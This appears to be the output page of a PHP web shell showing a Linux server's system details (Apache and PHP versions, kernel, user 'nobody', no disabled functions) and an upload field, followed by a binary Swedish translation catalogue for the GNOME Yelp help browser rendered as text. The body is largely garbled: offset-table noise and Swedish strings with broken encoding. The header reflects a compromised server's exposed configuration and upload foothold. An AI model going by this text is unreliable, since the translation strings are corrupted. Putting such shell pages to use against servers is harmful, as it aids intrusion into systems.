|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /usr/share/locale/sv/LC_MESSAGES/ |
Upload File : |
Ț đ K H I ] r 2 9 Â 9 ü e 6
° Ÿ Ê Ś ű 1 3 7 e ! " ż , â $ " 4 0 W
° Â Ö ê ! ; V $ n # € È Đ Ü ń 1 5 ? Q X
] h
w * . Œ ë
ÿ
" - P 0 _ Ș Ë Ô ć ê
ś * . 3 b f v
, Ä Ń é ( , 0 ] q x
» Ê ß ő ,
@ N X
h
v Č Æ 0 Ö ) : F S [ q © č ` Ű
9 D ] ( | „
œ
È Ó
à ë ő
% 1 C
P ^
h s }
Ș
· Â Ì æ ę ! 4! K! `! t! ! ! Ÿ! Đ! æ! ó! " " ," 8 A" X z" & Ó" x ú" m s# g á# e I$ d Ż$ e % o z% » ê% i Š& t ' $
' # Ș' ` Î' /( 5 B( x( ( ( ) ©( ! Ó( ő(
) () ! 9) [) j) {) )
) §)
±) ż) & Ä) j ë) V*
]* k*
q* |* *
* ©* ł* č* Ì* Ò* ć* ë* ô*
û* + + + +
)+ 4+ @+
F+
T+ _+ l+ v+ + + + „+ + ż+ Đ+ Ę+ ö, - - %- 8- B W- . ź. Ć. Ő. < ç. C $/ < h/ Y „/ ÿ/ 0
!0 ,0 A0 b0 }0
0 - 0 5 Í0 ! 1 " %1 ) H1 r1 1 ) Č1 Ü1
ë1 # ö1 2 22 F2 \2 y2 # 2 č2 Ö2 ) đ2 3 * ,3 W3
a3 l3 3 - 3
Ÿ3 É3 Ü3 ă3 è3 ő3 4 4 , (4 2 U4 ! 4 Ș4 & œ4 + ä4
5 ) 5 H5 M5 " b5
5 5 5 €5 ±5 Á5 Û5 ê5 5 ó5 )6 -6 :6 M6 ( Z6 6 6 6 , ž6 , ć6 7 *7 17 R7 p7
}7 7 7 Ž7 Ç7 Ț7 î7 8 8 8
.8 <8 I8 Y8 h8 8 8 7 ·8
ï8 + ú8
&9
49 B9 L9 b9 z9 9 9 ! ·9 ] Ù9 7: D: [: % z: :
·:
Â: Í:
Ú: ć: ï:
ü: ;
; ; +; =;
J; X;
b; m; w;
; ;
; €;
±; Œ; Æ; ă; ę; < :< T< l< < < # ¶< Ú< é< ț<
= = 5= E= U= < s= $ °= t Ő= n J> _ č> _ ? [ y? d Ő? c :@ ” @ m TA y ÂA & <B % cB f B đB L C RC lC |C 6 C " ÊC íC ęC D # /D SD ]D iD ~D D D ąD ”D ( șD e ăD IE ME cE kE wE E E
«E ¶E żE ÔE ȚE öE ęE F
F F 'F ,F 4F DF LF [F cF
sF F
F F ”F ŸF
ËF ÙF áF ùF G (G -G 2G 7G n LG »G ; ä œ Ű Ò g U 0 l K b ? M { ` é 2 ą æ , H ç Ł s ° Ș e & " 7 < 4 F + E y m ï Ü h t Ì Ć Ù Û k « ” d
' 3 / Ç · Î $ 8 ż ć ž X Í _ J C ) Ő Ă [ z Ë A i Q a O ź Ž Ú ë Ê = Đ Ą N Ń Č P É j ș S c ^ I 1 > n Ę Ś } à Ź Ț á r ê R 5 ì À ] Æ ~ ă o ± # „ B w Ä D Ï L x Ó | § â ¶ @ Œ
f . W Ö í ß € p î T *
Y Á q ł © » - 6 Ô ( u V Š \ È ! Â đ š è 9 Ż G : % Ÿ v č Z GNOME Help Browser <b>Accessibility</b> <b>Fonts</b> <b>Printing</b> A bookmark titled %s already exists for this page. A bookmark titled <b>%s</b> already exists for this page. A documentation browser and viewer for the Gnome Desktop. A transformation context could not be created for the file â%sâ. The format may not be supported. About This Document Accessibility Accessories Add Bookmark An error occurred while printing An unknown error occured Applications Applications for fun Applications for manipulating or viewing graphics Applications for word processing and other office tasks Applications related to X Windows Applications related to multimedia Applications related to software development Applications related to the internet Applications specific to the panel Applications that support assistive technologies BLT Functions Bookmarks C_ase sensitive Command Line Help Configuration Files Copy _Email Address Could not load document Could not load section Could not load the OMF file '%s'. Could not process document Could not read document Could not read the table of contents Curses Functions Define which cache directory to use Desktop Development Document Information Document Sections Documents specific to the KDE Desktop Environment Education FORTRAN Functions Fin_d: Find Find Ne_xt Find Pre_vious Find _Next Find _Previous Find next occurrence of the word or phrase Find previous occurrence of the word or phrase Font for fixed text Font for text Font for text with fixed width. Font for text with variable width. GNU Info Pages GNU info pages are not supported in this version Games Get help with GNOME Go to the listing of help topics Graphics Hardware Devices Help Help Browser Help Contents Help On this application Help Topics Internet It was not possible to print your document: %s KDE Kernel Routines Learning applications Loading... Man pages are not supported in this version. Manual Pages Miscellaneous documents Network Audio Sound Functions No href attribute found on yelp:document No information is available about the error. No results for "%s" Office Open Bookmark in New Window Open Link in _New Window Open Location Open _Location OpenSSL Applications OpenSSL Configuration OpenSSL Functions OpenSSL Overviews Other Applications Other Documentation Out of memory Overviews POSIX Functions POSIX Headers Panel Applets Perl Functions Preferences Preparing to print Print This Document Print This Page Printer %s does not support postscript printing. Printing Printing is not supported on this printer Programming Qt Functions Re_name Read info page for %s Read man page for %s Readline Functions Remove Bookmark Rename Bookmark Repeat the search online at %s SGML documents are no longer supported. Please ask the author of the document to convert to XML. Scientific Scientific Applications. Search for other documentation Search is not supported in this version. Search results for "%s" Section 0p Section 1m Section 1ssl Section 1x Section 2 Section 3blt Section 3f Section 3nas Section 3p Section 3qt Section 3readline Section 3ssl Section 3tiff Section 4 Section 4x Section 5 Section 5ssl Section 5x Section 6 Section 6x Section 7ssl Section 7x Section 9 Sections 1, 1p, 1g and 1t Sections 3, 3o, and 3t Sections 3form and 3menu Sections 3ncurses and 3curses Sections 3pm and 3perl Sections 3x and 3X11 Sections 7 and 7gcc Sections 8 and 8l Show next page in history Show previous page in history Sound & Video System Administration System Calls System Tools System V Form/Menu Functions TIFF Functions Termcap Applications The Uniform Resource Identifier for the file is invalid. The Uniform Resource Identifier â%sâ is invalid or does not point to an actual file. The YelpDocInfo struct of the document The document â%sâ could not be processed. The file â%sâ is either missing, or it is not a valid XSLT stylesheet. The file â%sâ could not be parsed. Either the file does not exist, or it is not a well-formed info page. The file â%sâ could not be parsed. Either the file does not exist, or it is formatted incorrectly. The file â%sâ could not be parsed. Either the file does not exist, or it is improperly formatted. The file â%sâ could not be parsed. Either the file does not exist, or it is not well-formed XML. The file â%sâ could not be read and decoded. The file may be compressed in an unsupported format. The file â%sâ could not be read. This file might be missing, or you might not have permissions to read it. The section â%sâ does not exist in this document. If you were directed to this section from a Help button in an application, please report this to the maintainers of that application. The table of contents could not be loaded. The file â%sâ is either missing or is not well-formed XML. The table of contents could not be processed. The file â%sâ is either missing or is not a valid XSLT stylesheet. Traditional command line help (info) Traditional command line help (man) Try using different words to describe the problem you're having or the topic you want help with. Unsupported Format Use a keyboard-controllable caret when viewing pages. Use a private session Use caret Use system fonts Use the default fonts set for the system. Utilities to manage your computer Utility applications Variety of other applications Waiting to print Welcome to the GNOME Help Browser X Applications X11 Applications X11 Configuration X11 Devices X11 Functions X11 Games X11 Overviews Yelp YelpTocPager: Pause count is negative. Your search could not be processed. The file â%sâ is either missing or is not a valid XSLT stylesheet. _About _Add Bookmark _Back _Bookmarks _Bookmarks: _Browse with caret _Close Window _Contents _Copy _Copy Link Address _Edit _Edit Bookmarks... _File _Find... _Find: _Fixed width: _Forward _Go _Help _Help Topics _Location: _New Window _Next _Next Section _Open Link _Preferences _Previous _Previous Section _Reload _Search: _Select All _Title: _Use system fonts _Variable width: _Wrap around a:about:an:are:as:at:be:broke:broken:by:can:can't:dialog:dialogue:do:doesn't:doesnt:don't:dont:explain:for:from:get:gets:got:make:makes:not:when:has:have:help:how:i:in:is:it:item:me:my:of:on:or:tell:that:the:thing:this:to:what:where:who:will:with:won't:wont:why:work:working:works ers:er:ing:es:s:'s re the GNOME Support Forums translator-credits yelp-watermark-blockquote-201C Project-Id-Version: yelp
Report-Msgid-Bugs-To:
POT-Creation-Date: 2006-08-15 17:28+0200
PO-Revision-Date: 2006-08-16 00:16+0100
Last-Translator: Daniel Nylander <po@danielnylander.se>
Language-Team: Swedish <tp-sv@listor.tp-sv.se>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
GNOME-hjĂ€lpvisare <b>TillgĂ€nglighet</b> <b>Typsnitt</b> <b>Skriver ut</b> Det finns redan ett bokmĂ€rke med namnet %s för denna sida. Det finns redan ett bokmĂ€rke med namnet <b>%s</b> för denna sida. En dokumentationslĂ€sare och -visare för GNOME-skrivbordet. Ett omvandlingssammanhang kunde inte skapas för filen "%s". Formatet kanske inte stöds. Om detta dokument TillgĂ€nglighet Tillbehör LĂ€gg till bokmĂ€rke Ett fel intrĂ€ffade vid utskrift Ett okĂ€nt fel intrĂ€ffade Program Program för lek och spel Program för att manipulera eller visa grafik Program för ordbehandling och andra kontorsuppgifter Program relaterade till X-Windows Program relaterade till multimedia Program relaterade till programutveckling Program relaterade till Internet Program specifika till panelen Program som ger stöd för hjĂ€lptekniker BLT-funktioner BokmĂ€rken _Gör skillnad pĂ„ gemener/VERSALER HjĂ€lp för kommandorad Konfigurationsfiler Kopiera _e-postadress Kunde inte lĂ€sa in dokument Kunde inte lĂ€sa in avsnitt Kunde inte lĂ€sa in OMF-filen "%s". Kunde inte behandla dokument Kunde inte lĂ€sa dokument Kunde inte lĂ€sa innehĂ„llsförteckningen Curses-funktioner Ange vilken cachekatalog som ska anvĂ€ndas Skrivbord Utveckling Dokumentinformation Dokumentavsnitt Dokument specifika för skrivbordsmiljön KDE Utbildning FORTRAN-funktioner Sö_k: Sök Sök _nĂ€sta Sök _föregĂ„ende Sök _nĂ€sta Sök _föregĂ„ende Sök nĂ€sta förekomst av ordet eller frasen Sök föregĂ„ende förekomst av ordet eller frasen Typsnitt för text med fast bredd Typsnitt för text Typsnitt för text med fast breddsteg. Typsnitt för text med variabelt breddsteg. GNU-infosidor GNU-infosidor stöds inte i denna version Spel FĂ„ hjĂ€lp med GNOME GĂ„ till listan med hjĂ€lprubriker Grafik HĂ„rdvaruenheter HjĂ€lp HjĂ€lpvisare HjĂ€lpinnehĂ„ll HjĂ€lp för detta program HjĂ€lprubriker Internet Det var inte möjligt att skriva ut ditt dokument: %s KDE KĂ€rnrutiner Utbildningsprogram LĂ€ser in... Manualsidor stöds inte i denna version. Manualsidor Diverse dokument NĂ€tverksljudfunktioner Inget href-attribut hittat pĂ„ yelp:document Ingen information om felet Ă€r tillgĂ€nglig. Inga resultat för "%s" Kontor Ăppna bokmĂ€rke i nytt fönster Ăppna lĂ€nk i _nytt fönster Ăppna plats Ăppna _plats OpenSSL-program Konfiguration av OpenSSL OpenSSL-funktioner Ăversikter av OpenSSL Ăvriga program Annan dokumentation Slut pĂ„ minne Ăversikter POSIX-funktioner POSIX-huvuden Panelprogram Perl-funktioner InstĂ€llningar Förbereder för utskrift Skriv ut det hĂ€r dokumentet Skriv ut den hĂ€r sidan Skrivaren %s har inte stöd för Postscript-utskrifter. Skriver ut Utskrift stöds inte pĂ„ den hĂ€r skrivaren Programmering Qt-funktioner _Byt namn LĂ€s infosida för %s LĂ€s manualsida för %s Readline-funktioner Ta bort bokmĂ€rke Byt namn pĂ„ bokmĂ€rke Repetera sökningen online pĂ„ %s SGML-dokument stöds inte lĂ€ngre. Be författaren av dokumentet att konvertera det till XML. Vetenskaplig Vetenskapliga program. Sök efter annan dokumentation Sökning stöds inte i denna version. Sökresultat för "%s" Sektion 0p Sektion 1m Sektion 1ssl Sektion 1x Sektion 2 Sektion 3blt Sektion 3f Sektion 3nas Sektion 3p Sektion 3qt Sektion 3readline Sektion 3ssl Sektion 3tiff Sektion 4 Sektion 4x Sektion 5 Sektion 5ssl Sektion 5x Sektion 6 Sektion 6x Sektion 7ssl Sektion 7x Sektion 9 Sektionerna 1, 1p, 1g och 1t Sektionerna 3, 3o, och 3t Sektionerna 3form och 3menu Sektionerna 3ncurses och 3curses Sektionerna 3pm och 3perl Sektionerna 3x och 3X11 Sektionerna 7 och 7gcc Sektionerna 8 och 8l Visa nĂ€sta sida i historiken Visa föregĂ„ende sida i historiken Ljud och video Systemadministration Systemanrop Systemverktyg System V Form/Menyfunktioner TIFF-funktioner Termcap-program URI:n för filen Ă€r ogiltig. URI:n "%s" Ă€r ogiltig eller pekar inte till en verklig fil. YelpDocInfo-structen för dokumentet Dokumentet "%s" kunde inte behandlas. Antingen finns filen "%s" inte eller sĂ„ Ă€r den inte en giltig XSLT-stilmall. Filen "%s" kunde inte tolkas. Antingen finns filen inte eller sĂ„ Ă€r den inte en korrekt formaterad infosida. Filen "%s" kunde inte tolkas. Antingen finns filen inte eller sĂ„ Ă€r den felaktigt formaterad. Filen "%s" kunde inte tolkas. Antingen finns filen inte eller sĂ„ Ă€r den felaktigt formaterad. Filen "%s" kunde inte tolkas. Antingen finns filen inte eller sĂ„ Ă€r den inte korrekt XML. Filen "%s" kunde inte lĂ€sas och avkodas. Filen kan vara komprimerad med ett format som inte stöds. Filen "%s" kunde inte lĂ€sas. Filen kanske saknas eller sĂ„ har du inte rĂ€ttigheter att lĂ€sa den. Avsnittet "%s" finns inte i detta dokument. Om du hĂ€nvisades till detta avsnitt frĂ„n en hjĂ€lpknapp i ett program bör du rapportera detta till de som underhĂ„ller det programmet. InnehĂ„llsförteckningen kunde inte lĂ€sas in. Antingen saknas filen "%s" eller sĂ„ Ă€r den inte korrekt XML. InnehĂ„llsförteckningen kunde inte behandlas. Antingen saknas filen "%s" eller sĂ„ Ă€r den inte en giltig XSLT-stilmall. Traditionell kommandoradshjĂ€lp (info) Traditionell kommandoradshjĂ€lp (man) Försök anvĂ€nda olika ord för att beskriva problemet som du har eller Ă€mnet du vill ha hjĂ€lp med. Formatet stöds inte AnvĂ€nd en markör som kan styras frĂ„n tangentbordet för visning av sidor. AnvĂ€nd en privat session AnvĂ€nd markör AnvĂ€nd systemtypsnitt AnvĂ€nd standardtypsnitten som angivits för systemet. Verktyg för att hantera din dator Verktygsprogram Blandning av övriga program VĂ€ntar pĂ„ utskrift VĂ€lkommen till GNOME-hjĂ€lpvisaren X-program X11-program Konfiguration av X11 X11-enheter X11-funktioner X11-spel Ăversikter av X11 Yelp YelpTocPager: PausrĂ€knaren Ă€r negativ. Din sökning kunde inte behandlas. Filen "%s" antingen saknas eller Ă€r inte en giltig XSLT-stilmall. _Om _LĂ€gg till bokmĂ€rke _BakĂ„t _BokmĂ€rken _BokmĂ€rken: _BlĂ€ddra med markör _StĂ€ng fönster _InnehĂ„ll _Kopiera _Kopiera lĂ€nkadress _Redigera _Redigera bokmĂ€rken... _Arkiv _Sök... _Sök: _Fast breddsteg: _FramĂ„t _GĂ„ _HjĂ€lp _HjĂ€lprubriker _Plats: _Nytt fönster _NĂ€sta _NĂ€sta avsnitt _Ăppna lĂ€nk _InstĂ€llningar _FöregĂ„ende _FöregĂ„ende avsnitt _LĂ€s om _Sök efter: _Markera allt _Titel: _AnvĂ€nd systemtypsnitt _Variabelt breddsteg: _Börja om frĂ„n början NULL NULL NULL GNOME:s supportforum Daniel Nylander
Christian Rose
Richard Hult
Skicka synpunkter pÄ översÀttningen till
tp-sv@listor.tp-sv.se yelp-watermark-blockquote-201D